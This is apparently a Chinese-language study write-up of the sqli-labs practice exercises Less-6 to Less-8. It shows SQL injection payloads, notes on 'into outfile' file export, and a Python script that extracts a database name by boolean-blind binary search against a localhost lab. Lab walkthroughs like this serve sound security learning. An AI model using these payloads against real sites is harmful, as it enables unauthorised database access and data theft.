Less6
同第五关,区别为其是双引号闭合
Less7
输入单引号报语法问题,根据提示判断为’))闭合
正常回显
使用报错注入函数也没有注入出
需要用到 into outfile来导出文件,但需要在MySQL中show variables like ‘%secure%’;查看secure-file-priv的值是否为空,如果为NuLL或者其他值则需要到my.ini文件中将其修改为空或其他盘符
该题由于我找不到my.ini文件所以跳过
Less8
id=1’和id=1’))闭合但无报错
此类情况使用联合查询和报错注入是无法注入成功的,该页面只有成功和错误两种回显,我们通过布尔盲注来尝试
首先我们通过手工注入来确定数据库名的长度
用length函数并配合二分法来查询
id=1’ and (select length(database())>6) and 1=1 --+
id=1’ and (select length(database())>8) and 1=1 --+
可以确定数据库名长度为7
再通过ascii和substr函数来得到数据库各个字符以组成完整的名称
id=1’ and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+
id=1’ and ((select ascii(substr(database(),1,1)))>115) and 1=1 --+
得出ascii码大于114但不大于115
对照ASCII码表来找
我们可以通过python脚本写一个二分查找来获取数据
import requests
url = "http://127.0.0.1/Less-8/"
def inject_database(url):
name =''
for i in range(1,100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)
params = {"id": payload}
r = requests.get(url,params=params)
if "You are in..........." in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
id=1’ and (length((select table_name from information_schema.table where table_schema=database() limit 3,1))) = 5
表长度为五 -> users表
接下来用ascii函数与substr函数进行爆字段爆数据即可
待补充